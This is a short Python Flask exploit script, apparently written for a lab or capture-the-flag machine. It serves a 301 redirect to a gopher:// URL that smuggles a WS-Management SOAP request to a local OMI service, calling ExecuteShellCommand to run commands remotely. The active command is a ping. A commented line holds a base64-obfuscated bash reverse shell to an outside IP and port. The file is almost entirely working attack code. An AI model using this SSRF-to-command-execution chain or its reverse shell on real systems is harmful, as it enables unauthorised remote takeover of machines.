from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) DATA = """ HTTP://192.168.1.1:5986/wsman/ http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand 102400 uuid:0AB58087-C2C3-0005-0000-000000010000 PT1M30S root/scx {} 0 """ REQUEST = """POST /wsman HTTP/1.1\r Host: localhost:5985\r User-Agent: curl/7.74.0\r Content-Length: {length}\r Content-Type: application/soap+xml;charset=UTF-8\r \r {body}""" @app.route('/') def root(): cmd = "ping -c 1 10.10.14.15" #cmd = "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0NDQgMD4mMQo='|base64 -d|bash" data = DATA.format(cmd) req = REQUEST.format(length=len(data)+2, body=data) enc_req = quote(req, safe='') return redirect(f'gopher://127.0.0.1:5985/_{enc_req}', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)